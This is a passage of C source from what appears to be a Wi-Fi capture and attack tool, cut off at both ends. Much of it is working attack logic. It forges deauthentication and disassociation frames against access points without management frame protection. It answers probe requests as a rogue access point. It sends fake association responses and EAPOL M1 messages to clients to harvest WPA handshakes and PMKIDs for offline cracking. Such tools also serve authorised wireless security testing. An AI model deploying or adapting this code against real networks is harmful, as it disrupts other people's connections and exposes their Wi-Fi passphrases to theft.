RSN_AKM_PSK) infoelement->flags |= APRSNAKM_PSK; if(rsnsuite->type == RSN_AKM_PSK256) infoelement->flags |= APRSNAKM_PSK256; if(rsnsuite->type == RSN_AKM_PSKFT) infoelement->flags |= APRSNAKM_PSKFT; } infostart += IEEE80211_RSNSUITE_SIZE; infolen -= IEEE80211_RSNSUITE_SIZE; } if(infolen < 2) return; rsncapability = (ieee80211_rsncapability_t*)infostart; if((__hcx16le(rsncapability->capability) & MFP_REQUIRED) == MFP_REQUIRED) infoelement->flags |= AP_MFP; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void tagwalk_channel_essid_rsn(infoelement_t *infoelement, int infolen, u8 *infostart) { static ieee80211_ietag_t *infoptr; while(0 < infolen) { infoptr = (ieee80211_ietag_t*)infostart; if(infolen < (int)(infoptr->len + IEEE80211_IETAG_SIZE)) return; if(infoptr->id == TAG_SSID) { if((infoptr->len > 0) && (infoptr->len <= ESSID_MAX)) { infoelement->flags |= APIE_ESSID; infoelement->essidlen = infoptr->len; memcpy(infoelement->essid, &infoptr->ie[0], infoptr->len); } } else if(infoptr->id == TAG_CHAN) { if(infoptr->len == 1) infoelement->channel = infoptr->ie[0]; } else if(infoptr->id == TAG_RSN) { if(infoptr->len >= IEEE80211_RSNIE_LEN_MIN) get_tagrsn(infoelement, infoptr->len, infoptr->ie); } else if(infoptr->id == TAG_VENDOR) { if(infoptr->len >= IEEE80211_WPAIE_LEN_MIN) get_tagvendor(infoelement, infoptr->len, infoptr->ie); } infostart += infoptr->len + IEEE80211_IETAG_SIZE; infolen -= infoptr->len + IEEE80211_IETAG_SIZE; } return; } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) int get_keyinfo(u16 kyif) { if(kyif & WPA_KEY_INFO_ACK) { if(kyif & WPA_KEY_INFO_INSTALL) return 3; /* handshake 3 */ else return 1; /* handshake 1 */ } else { if(kyif & WPA_KEY_INFO_SECURE) return 4; /* handshake 4 */ else return 2; /* handshake 2 */ } return 0; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211pspoll(void) { static size_t i; for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp(macfrx->addr1, (aplist +i)->macap, ETH_ALEN) == 0) { if((aplist +i)->status >= AP_EAPOL_M3) return; if(memcmp(&macbc, (aplist +i)->macclient, ETH_ALEN) == 0) (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macclient, macfrx->addr2, ETH_ALEN); return; } } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211action(void) { static size_t i; static ieee80211_action_t *action; for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp((aplist +i)->macap, macfrx->addr1, ETH_ALEN) == 0) { if((aplist +i)->status >= AP_EAPOL_M3) return; if(memcmp(&macbc, (aplist +i)->macclient, ETH_ALEN) == 0) (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macclient, macfrx->addr2, ETH_ALEN); break; } } action = (ieee80211_action_t*)payloadptr; if(payloadlen < (IEEE80211_ACTION_SIZE + IEEE80211_IETAG_SIZE)) return; if((action->category == RADIO_MEASUREMENT) && (action->code == NEIGHBOR_REPORT_REQUEST)) writeepb(); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211qosdata(void) { static size_t i; if((macfrx->to_ds != 1) && (macfrx->from_ds != 0)) return; for(i = 0; i < APLIST_MAX - 1; i++) { { if(memcmp((aplist +i)->macap, macfrx->addr1, ETH_ALEN) == 0) { if((aplist +i)->status >= AP_EAPOL_M3) return; if(memcmp(&macbc, (aplist +i)->macclient, ETH_ALEN) == 0) (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macclient, macfrx->addr2, ETH_ALEN); return; } } } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211qosnull(void) { static size_t i; if((macfrx->to_ds != 1) && (macfrx->from_ds != 0)) return; for(i = 0; i < APLIST_MAX - 1; i++) { { if(memcmp((aplist +i)->macap, macfrx->addr1, ETH_ALEN) == 0) { if((aplist +i)->status >= AP_EAPOL_M3) return; if(memcmp(&macbc, (aplist +i)->macclient, ETH_ALEN) == 0) (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macclient, macfrx->addr2, ETH_ALEN); return; } } } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211null(void) { static size_t i; if((macfrx->to_ds != 1) && (macfrx->from_ds != 0)) return; for(i = 0; i < APLIST_MAX - 1; i++) { { if(memcmp((aplist +i)->macap, macfrx->addr1, ETH_ALEN) == 0) { if((aplist +i)->status >= AP_EAPOL_M3) return; if(memcmp(&macbc, (aplist +i)->macclient, ETH_ALEN) == 0) (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macclient, macfrx->addr2, ETH_ALEN); return; } } } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211blockack(void) { static size_t i; for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp((aplist +i)->macap, macfrx->addr1, ETH_ALEN) == 0) { if((aplist +i)->status >= AP_EAPOL_M3) return; if(memcmp(&macbc, (aplist +i)->macclient, ETH_ALEN) == 0) (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macclient, macfrx->addr2, ETH_ALEN); return; } } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211blockackreq(void) { static size_t i; for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp((aplist +i)->macap, macfrx->addr1, ETH_ALEN) == 0) { if((aplist +i)->status >= AP_EAPOL_M3) return; if(memcmp(&macbc, (aplist +i)->macclient, ETH_ALEN) == 0) (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macclient, macfrx->addr2, ETH_ALEN); return; } } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211eap_start(void) { static size_t i; for(i = 0; i < CLIENTLIST_MAX - 1; i++) { if(memcmp(macfrx->addr2, (clientlist +i)->macclient, ETH_ALEN) != 0) continue; if(memcmp(macfrx->addr1, (clientlist +i)->macap, ETH_ALEN) != 0) continue; (clientlist +i)->tsakt = tsakt; (clientlist +i)->status |= CLIENT_EAP_START; if((clientlist +i)->count == 0) return; send_80211_eap_request_id(); (clientlist +i)->count -= 1; return; } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211eapol_m4(void) { static size_t i; authseqakt.replaycountm4 = __hcx64be(wpakey->replaycount); if(memcmp(&zeroed, &wpakey->nonce, 32) != 0) if((authseqakt.status & AP_EAPOL_M3) == AP_EAPOL_M3) { if(memcmp(&authseqakt.macap, macfrx->addr1, ETH_ALEN) == 0) { if((authseqakt.replaycountm1 == (authseqakt.replaycountm4 -1)) && (authseqakt.replaycountm2 == (authseqakt.replaycountm4 -1)) && (authseqakt.replaycountm3 == authseqakt.replaycountm4)) { authseqakt.kdv4 = kdv; if(authseqakt.kdv3 == kdv) { if((tsakt - tshold) < EAPOLM4TIMEOUT) { if(memcmp(&zeroed, &wpakey->nonce, 32) != 0) { for(i = 0; i < APLIST_MAX -1; i++) { if(memcmp((aplist +i)->macap, authseqakt.macap, ETH_ALEN) == 0) { (aplist +i)->tsakt = tsakt; authseqakt.status = 0; (aplist +i)->status |= AP_EAPOL_M4; wanteventflag |= exiteapolm4flag; return; } } } } } } } } authseqakt.status = 0; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211eapol_m3(void) { static size_t i; authseqakt.replaycountm3 = __hcx64be(wpakey->replaycount); if((authseqakt.status & AP_EAPOL_M2) == AP_EAPOL_M2) { if(memcmp(&authseqakt.macap, macfrx->addr2, ETH_ALEN) == 0) { if(authseqakt.replaycountm2 == (authseqakt.replaycountm3 - 1)) { authseqakt.kdv3 = kdv; if(authseqakt.kdv2 == kdv) { if((tsakt - tshold) < EAPOLM3TIMEOUT) { if(memcmp(&authseqakt.noncem1, &wpakey->nonce[28], 4) == 0) { for(i = 0; i < APLIST_MAX -1; i++) { if(memcmp((aplist +i)->macap, authseqakt.macap, ETH_ALEN) == 0) { (aplist +i)->tsakt = tsakt; (aplist +i)->status |= AP_EAPOL_M3; wanteventflag |= exiteapolm3flag; return; } } } } } } } } authseqakt.status = 0; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211eapol_m2rg(void) { size_t i; authseqakt.status = 0; writeepbm1(); for(i = 0; i < CLIENTLIST_MAX - 1; i++) { if(memcmp(macfrx->addr2, (clientlist +i)->macclient, ETH_ALEN) != 0) continue; if(memcmp(macfrx->addr1, (clientlist +i)->macap, ETH_ALEN) != 0) continue; (clientlist +i)->tsakt = tsakt; (clientlist +i)->status |= CLIENT_EAPOL_M2; if((clientlist +i)->count == 0) return; if(memcmp((clientlist +i)->mic, &wpakey->keymic[0], 4) == 0) send_80211_disassociation_fm_ap(macfrx->addr2, macfrx->addr1, WLAN_REASON_PREV_AUTH_NOT_VALID); memcpy((clientlist +i)->mic, &wpakey->keymic[0], 4); (clientlist +i)->count -= 1; return; } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211eapol_m2(void) { authseqakt.replaycountm2 = __hcx64be(wpakey->replaycount); if(replaycountrg == authseqakt.replaycountm2) { process80211eapol_m2rg(); return; } if((authseqakt.status & AP_EAPOL_M1) == AP_EAPOL_M1) { if(memcmp(&authseqakt.macap, macfrx->addr1, ETH_ALEN) == 0) { if(authseqakt.replaycountm1 == authseqakt.replaycountm2) { authseqakt.kdv2 = kdv; if(authseqakt.kdv1 == authseqakt.kdv2) { if((tsakt - tshold) < EAPOLM2TIMEOUT) { authseqakt.status |= AP_EAPOL_M2; wanteventflag |= exiteapolm2flag; } else authseqakt.status = 0; return; } } } } authseqakt.status = 0; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211eapol_m1(void) { static size_t i; memset(&authseqakt, 0, AUTHSEQAKT_SIZE); memcpy(&authseqakt.macap, macfrx->addr2, ETH_ALEN); authseqakt.kdv1 = kdv; authseqakt.replaycountm1 = __hcx64be(wpakey->replaycount); memcpy(&authseqakt.noncem1, &wpakey->nonce[28], 4); authseqakt.status = AP_EAPOL_M1; wanteventflag |= exiteapolm1flag; if(__hcx16be(wpakey->wpadatalen) == IEEE80211_PMKID_SIZE) { pmkid = (ieee80211_pmkid_t*)(eapolplptr + IEEE80211_WPAKEY_SIZE); if(memcmp(&rsnsuiteoui, pmkid->oui, 3) == 0) { if(pmkid->len >= 0x14) { if(pmkid->type == PMKID_KDE) { if(memcmp(pmkid->pmkid, &zeroed, PMKID_MAX) != 0) { authseqakt.status |= AP_PMKID; wanteventflag |= exiteapolpmkidflag; } } } } } for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp((aplist +i)->macap, authseqakt.macap, ETH_ALEN) == 0) { (aplist +i)->status |= authseqakt.status; (aplist +i)->tsakt = tsakt; return; } } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211eapol(void) { eapolplptr = eapauthplptr + IEEE80211_EAPAUTH_SIZE; eapolpllen = eapauthpllen - IEEE80211_EAPAUTH_SIZE; if((eapolpllen + IEEE80211_EAPAUTH_SIZE + IEEE80211_LLC_SIZE) > payloadlen) return; wpakey = (ieee80211_wpakey_t*)eapolplptr; if((kdv = __hcx16be(wpakey->keyinfo) & WPA_KEY_INFO_TYPE_MASK) == 0) return; keyinfo = (get_keyinfo(__hcx16be(wpakey->keyinfo))); switch(keyinfo) { case M1: process80211eapol_m1(); break; case M2: process80211eapol_m2(); break; case M3: process80211eapol_m3(); break; case M4: if(deauthenticationflag == true) process80211eapol_m4(); break; } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211eapauthentication(void) { tshold = tsakt; eapauthplptr = payloadptr + IEEE80211_LLC_SIZE; eapauthpllen = payloadlen - IEEE80211_LLC_SIZE; eapauth = (ieee80211_eapauth_t*)eapauthplptr; eapauthlen = __hcx16be(eapauth->len); if(eapauthlen > (eapauthpllen - IEEE80211_EAPAUTH_SIZE)) return; if(eapauth->type == EAPOL_KEY) process80211eapol(); else if(eapauth->type == EAPOL_START) process80211eap_start(); writeepb(); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211reassociationresponse(void) { static size_t i; static ieee80211_assoc_or_reassoc_resp_t *reassociationresponse; tshold = tsakt; memcpy(&authseqakt.macap, macfrx->addr2, ETH_ALEN); reassociationresponse = (ieee80211_assoc_or_reassoc_resp_t*)payloadptr; if(payloadlen < IEEE80211_REASSOCIATIONRESPONSE_SIZE) return; for(i = 0; i < CLIENTLIST_MAX - 1; i++) { if(memcmp(macfrx->addr1, (clientlist +i)->macclient, ETH_ALEN) != 0) continue; if(memcmp(macfrx->addr2, (clientlist +i)->macap, ETH_ALEN) != 0) continue; (clientlist +i)->aid = __hcx16le(reassociationresponse->aid); return; } memset((clientlist + i), 0, CLIENTLIST_SIZE); (clientlist +i)->tsakt = tsakt; memcpy((clientlist +i)->macclient, macfrx->addr1, ETH_ALEN); memcpy((clientlist +i)->macap, macfrx->addr2, ETH_ALEN); (clientlist +i)->aid = reassociationresponse->aid; qsort(clientlist, i + 1, CLIENTLIST_SIZE, sort_clientlist_by_tsakt); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211reassociationrequest(void) { static size_t i; static ieee80211_reassoc_req_t *reassociationrequest; static u16 reassociationrequestlen; if(memcmp(macfrx->addr1, &macaprghidden, ETH_ALEN) == 0) return; tshold = tsakt; reassociationrequest = (ieee80211_reassoc_req_t*)payloadptr; if((reassociationrequestlen = payloadlen - IEEE80211_REASSOCIATIONREQUEST_SIZE) < IEEE80211_IETAG_SIZE) return; memcpy(&authseqakt.macap, macfrx->addr1, ETH_ALEN); for(i = 0; i < CLIENTLIST_MAX - 1; i++) { if(memcmp(macfrx->addr2, (clientlist +i)->macclient, ETH_ALEN) != 0) continue; if(memcmp(macfrx->addr1, (clientlist +i)->macap, ETH_ALEN) != 0) continue; (clientlist +i)->tsakt = tsakt; if((clientlist +i)->count == 0) return; if((tsakt - (clientlist +i)->tsassoc) > TIMEREASSOCWAIT) { tagwalk_channel_essid_rsn(&(clientlist +i)->ie, reassociationrequestlen, reassociationrequest->ie); if(((clientlist +i)->ie.flags & APRSNAKM_PSK) != 0) { if(((clientlist +i)->aid & 0xc0) == 0) (clientlist +i)->aid = HCXTXAID; send_80211_reassociationresponse((clientlist +i)->aid); send_80211_eapol_m1(); (clientlist +i)->count -= 1; } else (clientlist +i)->count = 0; writeepb(); } (clientlist +i)->tsassoc = tsakt; return; } memset((clientlist + i), 0, CLIENTLIST_SIZE); (clientlist +i)->tsakt = tsakt; (clientlist +i)->tsassoc = tsfirst; (clientlist +i)->tsreassoc = tsfirst; (clientlist +i)->count = attemptclientmax; (clientlist +i)->aid = HCXTXAID; memcpy((clientlist +i)->macclient, macfrx->addr2, ETH_ALEN); memcpy((clientlist +i)->macap, macfrx->addr1, ETH_ALEN); tagwalk_channel_essid_rsn(&(clientlist +i)->ie, reassociationrequestlen, reassociationrequest->ie); if((((clientlist +i)->ie.flags & APRSNAKM_PSK) != 0) && (attemptclientmax > 0)) { send_80211_reassociationresponse((clientlist +i)->aid); send_80211_eapol_m1(); } else (clientlist +i)->count = 0; qsort(clientlist, i + 1, CLIENTLIST_SIZE, sort_clientlist_by_tsakt); writeepb(); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211associationresponse(void) { static size_t i; static ieee80211_assoc_or_reassoc_resp_t *associationresponse; tshold = tsakt; memcpy(&authseqakt.macap, macfrx->addr2, ETH_ALEN); if(memcmp(macfrx->addr1, &macclientrg, ETH_ALEN) == 0) return; associationresponse = (ieee80211_assoc_or_reassoc_resp_t*)payloadptr; if(payloadlen < IEEE80211_ASSOCIATIONRESPONSE_SIZE) return; for(i = 0; i < CLIENTLIST_MAX - 1; i++) { if(memcmp(macfrx->addr1, (clientlist +i)->macclient, ETH_ALEN) != 0) continue; if(memcmp(macfrx->addr2, (clientlist +i)->macap, ETH_ALEN) != 0) continue; (clientlist +i)->aid = __hcx16le(associationresponse->aid); return; } memset((clientlist + i), 0, CLIENTLIST_SIZE); (clientlist +i)->tsakt = tsakt; memcpy((clientlist +i)->macclient, macfrx->addr1, ETH_ALEN); memcpy((clientlist +i)->macap, macfrx->addr2, ETH_ALEN); (clientlist +i)->aid = __hcx16le(associationresponse->aid); qsort(clientlist, i + 1, CLIENTLIST_SIZE, sort_clientlist_by_tsakt); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211associationrequest(void) { static size_t i; static ieee80211_assoc_req_t *associationrequest; static u16 associationrequestlen; if(memcmp(macfrx->addr1, &macaprghidden, ETH_ALEN) == 0) return; tshold = tsakt; associationrequest = (ieee80211_assoc_req_t*)payloadptr; if((associationrequestlen = payloadlen - IEEE80211_ASSOCIATIONREQUEST_SIZE) < IEEE80211_IETAG_SIZE) return; memcpy(&authseqakt.macap, macfrx->addr1, ETH_ALEN); for(i = 0; i < CLIENTLIST_MAX - 1; i++) { if(memcmp(macfrx->addr2, (clientlist +i)->macclient, ETH_ALEN) != 0) continue; if(memcmp(macfrx->addr1, (clientlist +i)->macap, ETH_ALEN) != 0) continue; (clientlist +i)->tsakt = tsakt; if((clientlist +i)->count == 0) return; tagwalk_channel_essid_rsn(&(clientlist +i)->ie, associationrequestlen, associationrequest->ie); if((tsakt - (clientlist +i)->tsassoc) > TIMEASSOCWAIT) { if(((clientlist +i)->ie.flags & APRSNAKM_PSK) != 0) { send_80211_associationresponse(); send_80211_eapol_m1(); (clientlist +i)->count -= 1; } else (clientlist +i)->count = 0; writeepb(); } (clientlist +i)->tsassoc = tsakt; return; } memset((clientlist + i), 0, CLIENTLIST_SIZE); (clientlist +i)->tsakt = tsakt; (clientlist +i)->tsassoc = tsfirst; (clientlist +i)->tsreassoc = tsfirst; (clientlist +i)->count = attemptclientmax; memcpy((clientlist +i)->macclient, macfrx->addr2, ETH_ALEN); memcpy((clientlist +i)->macap, macfrx->addr1, ETH_ALEN); tagwalk_channel_essid_rsn(&(clientlist +i)->ie, associationrequestlen, associationrequest->ie); if((((clientlist +i)->ie.flags & APRSNAKM_PSK) != 0) && (attemptclientmax > 0)) { send_80211_associationresponse(); send_80211_eapol_m1(); } else (clientlist +i)->count = 0; qsort(clientlist, i + 1, CLIENTLIST_SIZE, sort_clientlist_by_tsakt); writeepb(); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211authentication_fmclient(void) { size_t i; if(memcmp(macfrx->addr1, &macaprghidden, ETH_ALEN) == 0) return; for(i = 0; i < CLIENTLIST_MAX - 1; i++) { if(memcmp(macfrx->addr2, (clientlist +i)->macclient, ETH_ALEN) != 0) continue; if(memcmp(macfrx->addr1, (clientlist +i)->macap, ETH_ALEN) != 0) continue; (clientlist +i)->tsakt = tsakt; if((clientlist +i)->count == 0) return; if((tsakt - (clientlist +i)->tsauth) > TIMEAUTHWAIT) { send_80211_authenticationresponse(); writeepb(); } (clientlist +i)->tsauth = tsakt; return; } memset((clientlist + i), 0, CLIENTLIST_SIZE); (clientlist +i)->tsakt = tsakt; (clientlist +i)->tsauth = tsfirst; (clientlist +i)->tsassoc = tsfirst; (clientlist +i)->tsreassoc = tsfirst; (clientlist +i)->count = attemptclientmax; memcpy((clientlist +i)->macclient, macfrx->addr2, ETH_ALEN); memcpy((clientlist +i)->macap, macfrx->addr1, ETH_ALEN); if(attemptclientmax > 0) send_80211_authenticationresponse(); qsort(clientlist, i + 1, CLIENTLIST_SIZE, sort_clientlist_by_tsakt); writeepb(); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211authentication(void) { size_t i; static ieee80211_auth_t *auth; tshold = tsakt; auth = (ieee80211_auth_t*)payloadptr; if(payloadlen < IEEE80211_AUTH_SIZE) return; if(__hcx16le(auth->algorithm) == OPEN_SYSTEM) { if(__hcx16le(auth->sequence) == 1) process80211authentication_fmclient(); else if(__hcx16le(auth->sequence) == 2) { if(memcmp(&macclientrg, macfrx->addr1, 3) == 0) { for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp((aplist +i)->macap, macfrx->addr2, ETH_ALEN) == 0) { (aplist +i)->tsakt = tsakt; (aplist +i)->status |= AP_IN_RANGE; if((tsakt - (aplist +i)->tsauth) > TIMEAUTHWAIT) { if(((aplist +i)->ie.flags & APRSNAKM_PSK) != 0) send_80211_associationrequest(i); writeepb(); } (aplist +i)->tsauth = tsakt; break; } } } } } return; } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void get_tag(u8 ietag, essid_t *essid, int infolen, u8 *infostart) { static ieee80211_ietag_t *infoptr; while(0 < infolen) { infoptr = (ieee80211_ietag_t*)infostart; if(infolen < (int)(infoptr->len + IEEE80211_IETAG_SIZE)) return; if(infoptr->id == ietag) { essid->len = infoptr->len; essid->essid = (u8*)infoptr->ie; return; } infostart += infoptr->len + IEEE80211_IETAG_SIZE; infolen -= infoptr->len + IEEE80211_IETAG_SIZE; } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211proberequest_directed(void) { static size_t i; static ieee80211_proberequest_t *proberequest; static u16 proberequestlen; static essid_t essid; if(memcmp(macfrx->addr1, &macaprghidden, ETH_ALEN) == 0) return; proberequest = (ieee80211_proberequest_t*)payloadptr; if((proberequestlen = payloadlen - IEEE80211_PROBERESPONSE_SIZE) < IEEE80211_IETAG_SIZE) return; get_tag(TAG_SSID, &essid, proberequestlen, proberequest->ie); if(attemptclientmax > 0) send_80211_probereresponse(macfrx->addr2, macfrx->addr1, essid.len, essid.essid); for(i = 0; i < MACLIST_MAX - 1; i++) { if(memcmp(macfrx->addr1, (maclist +i)->mac, ETH_ALEN) != 0) continue; (maclist +i)->tsakt = tsakt; return; } (maclist +i)->tsakt = tsakt; memcpy((maclist +i)->mac, macfrx->addr1, ETH_ALEN); qsort(maclist, i + 1, MACLIST_SIZE, sort_maclist_by_tsakt); writeepb(); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211proberequest_undirected(void) { static size_t i; static ieee80211_proberequest_t *proberequest; static u16 proberequestlen; static essid_t essid; proberequest = (ieee80211_proberequest_t*)payloadptr; if((proberequestlen = payloadlen - IEEE80211_PROBERESPONSE_SIZE) < IEEE80211_IETAG_SIZE) return; get_tag(TAG_SSID, &essid, proberequestlen, proberequest->ie); if(attemptclientmax > 0) { if(essid.len == 0) { for(i = 0; i < proberesponsetxmax; i++) { if(proberesponseindex >= APRGLIST_MAX) { proberesponseindex = 0; return; } if((aprglist + proberesponseindex)->essidlen == 0) { proberesponseindex = 0; return; } send_80211_probereresponse(macfrx->addr2, (aprglist + proberesponseindex)->macaprg, (aprglist + proberesponseindex)->essidlen, (aprglist + proberesponseindex)->essid); proberesponseindex++; } return; } } for(i = 0; i < APRGLIST_MAX - 1; i++) { if((aprglist +i)->essidlen != essid.len) continue; if(memcmp((aprglist +i)->essid, essid.essid, essid.len) != 0) continue; (aprglist +i)->tsakt = tsakt; if(attemptclientmax > 0) send_80211_probereresponse(macfrx->addr2, (aprglist +i)->macaprg, essid.len, essid.essid); return; } memset((aprglist + i), 0, APRGLIST_SIZE); (aprglist +i)->tsakt = tsakt; (aprglist +i)->essidlen = essid.len; memcpy((aprglist +i)->essid, essid.essid, essid.len); (aprglist +i)->macaprg[5] = nicaprg & 0xff; (aprglist +i)->macaprg[4] = (nicaprg >> 8) & 0xff; (aprglist +i)->macaprg[3] = (nicaprg >> 16) & 0xff; (aprglist +i)->macaprg[2] = ouiaprg & 0xff; (aprglist +i)->macaprg[1] = (ouiaprg >> 8) & 0xff; (aprglist +i)->macaprg[0] = (ouiaprg >> 16) & 0xff; nicaprg++; if(attemptclientmax > 0) send_80211_probereresponse(macfrx->addr2, (aprglist +i)->macaprg, essid.len, essid.essid); qsort(aprglist, i + 1, APRGLIST_SIZE, sort_aprglist_by_tsakt); writeepb(); return; } /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211proberesponse_rca(void) { static size_t i; static ieee80211_beacon_proberesponse_t *proberesponse; static u16 proberesponselen; if(memcmp(&macclientrg, macfrx->addr1, ETH_ALEN) != 0) return; proberesponse = (ieee80211_beacon_proberesponse_t*)payloadptr; if((proberesponselen = payloadlen - IEEE80211_PROBERESPONSE_SIZE) < IEEE80211_IETAG_SIZE) return; for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp(macfrx->addr3, (aplist +i)->macap, ETH_ALEN) != 0) continue; (aplist +i)->tsauth = tsakt; packetrcarxcount++; if(((aplist +i)->status & AP_PROBERESPONSE) == 0) (aplist +i)->status |= AP_PROBERESPONSE; tagwalk_channel_essid_rsn(&(aplist +i)->ie, proberesponselen, proberesponse->ie); if((aplist +i)->ie.channel == 0) (aplist +i)->ie.channel = (scanlist + scanlistindex)->channel; if(((aplist +i)->ie.flags & APIE_ESSID) == APIE_ESSID) (aplist +i)->status |= AP_ESSID; (aplist +i)->frequency = (scanlist + scanlistindex)->frequency; (aplist +i)->count += 1; return; } memset((aplist + i), 0, APLIST_SIZE); (aplist +i)->tsakt = tsakt; (aplist +i)->tshold1 = tsakt; (aplist +i)->tsauth = tsfirst; memcpy((aplist +i)->macap, macfrx->addr3, ETH_ALEN); memcpy((aplist +i)->macclient, &macbc, ETH_ALEN); packetrcarxcount++; (aplist +i)->status |= AP_PROBERESPONSE; tagwalk_channel_essid_rsn(&(aplist +i)->ie, proberesponselen, proberesponse->ie); if((aplist +i)->ie.channel == 0) (aplist +i)->ie.channel = (scanlist + scanlistindex)->channel; if((aplist +i)->ie.channel != (scanlist + scanlistindex)->channel) return; if(((aplist +i)->ie.flags & APIE_ESSID) == APIE_ESSID) (aplist +i)->status |= AP_ESSID; (aplist +i)->frequency = (scanlist + scanlistindex)->frequency; (aplist +i)->count = 1; qsort(aplist, i + 1, APLIST_SIZE, sort_aplist_by_tsakt); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211proberesponse(void) { static size_t i; static ieee80211_beacon_proberesponse_t *proberesponse; static u16 proberesponselen; proberesponse = (ieee80211_beacon_proberesponse_t*)payloadptr; if((proberesponselen = payloadlen - IEEE80211_PROBERESPONSE_SIZE) < IEEE80211_IETAG_SIZE) return; for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp(macfrx->addr3, (aplist +i)->macap, ETH_ALEN) != 0) continue; (aplist +i)->tsakt = tsakt; if(((aplist +i)->status & AP_PROBERESPONSE) == 0) { writeepb(); #ifdef HCXNMEAOUT if(fd_gps > 0) writegpwpl(i); #endif tshold = tsakt; (aplist +i)->status |= AP_PROBERESPONSE; } tagwalk_channel_essid_rsn(&(aplist +i)->ie, proberesponselen, proberesponse->ie); if((aplist +i)->ie.channel == 0) (aplist +i)->ie.channel = (scanlist + scanlistindex)->channel; if(((aplist +i)->ie.flags & APIE_ESSID) == APIE_ESSID) (aplist +i)->status |= AP_ESSID; return; } memset((aplist + i), 0, APLIST_SIZE); (aplist +i)->tsakt = tsakt; (aplist +i)->tshold1 = tsakt; (aplist +i)->tsauth = tsfirst; (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macap, macfrx->addr3, ETH_ALEN); memcpy((aplist +i)->macclient, &macbc, ETH_ALEN); (aplist +i)->status |= AP_PROBERESPONSE; tagwalk_channel_essid_rsn(&(aplist +i)->ie, proberesponselen, proberesponse->ie); if((aplist +i)->ie.channel == 0) (aplist +i)->ie.channel = (scanlist + scanlistindex)->channel; if((aplist +i)->ie.channel != (scanlist + scanlistindex)->channel) return; if(((aplist +i)->ie.flags & APIE_ESSID) == APIE_ESSID) (aplist +i)->status |= AP_ESSID; if(deauthenticationflag == true) { if(((aplist +i)->ie.flags & AP_MFP) == 0) { if(((aplist +i)->ie.flags & APAKM_MASK) != 0) send_80211_deauthentication_fm_ap(macbc, (aplist +i)->macap, WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA); } } if(associationflag == true) { if((((aplist +i)->ie.flags & APRSNAKM_PSK) != 0) && (((aplist +i)->ie.flags & APIE_ESSID) == 0)) send_80211_authenticationrequest(); } if(reassociationflag == true) { if(((aplist +i)->ie.flags & APRSNAKM_PSK) != 0) send_80211_reassociationrequest(i); } writeepb(); #ifdef HCXNMEAOUT if(fd_gps > 0) writegpwpl(i); #endif qsort(aplist, i + 1, APLIST_SIZE, sort_aplist_by_tsakt); tshold = tsakt; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211beacon_rca(void) { static size_t i; static ieee80211_beacon_proberesponse_t *beacon; static u16 beaconlen; beacon = (ieee80211_beacon_proberesponse_t*)payloadptr; if((beaconlen = payloadlen - IEEE80211_BEACON_SIZE) < IEEE80211_IETAG_SIZE) return; for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp(macfrx->addr3, (aplist +i)->macap, ETH_ALEN) != 0) continue; (aplist +i)->tsakt = tsakt; if(((aplist +i)->status & AP_BEACON) == 0) (aplist +i)->status |= AP_BEACON; tagwalk_channel_essid_rsn(&(aplist +i)->ie, beaconlen, beacon->ie); if((aplist +i)->ie.channel == 0) (aplist +i)->ie.channel = (scanlist + scanlistindex)->channel; if((aplist +i)->ie.channel != (scanlist + scanlistindex)->channel) return; (aplist +i)->frequency = (scanlist + scanlistindex)->frequency; return; } memset((aplist + i), 0, APLIST_SIZE); (aplist +i)->tsakt = tsakt; (aplist +i)->tshold1 = tsakt; (aplist +i)->tsauth = tsfirst; memcpy((aplist +i)->macap, macfrx->addr3, 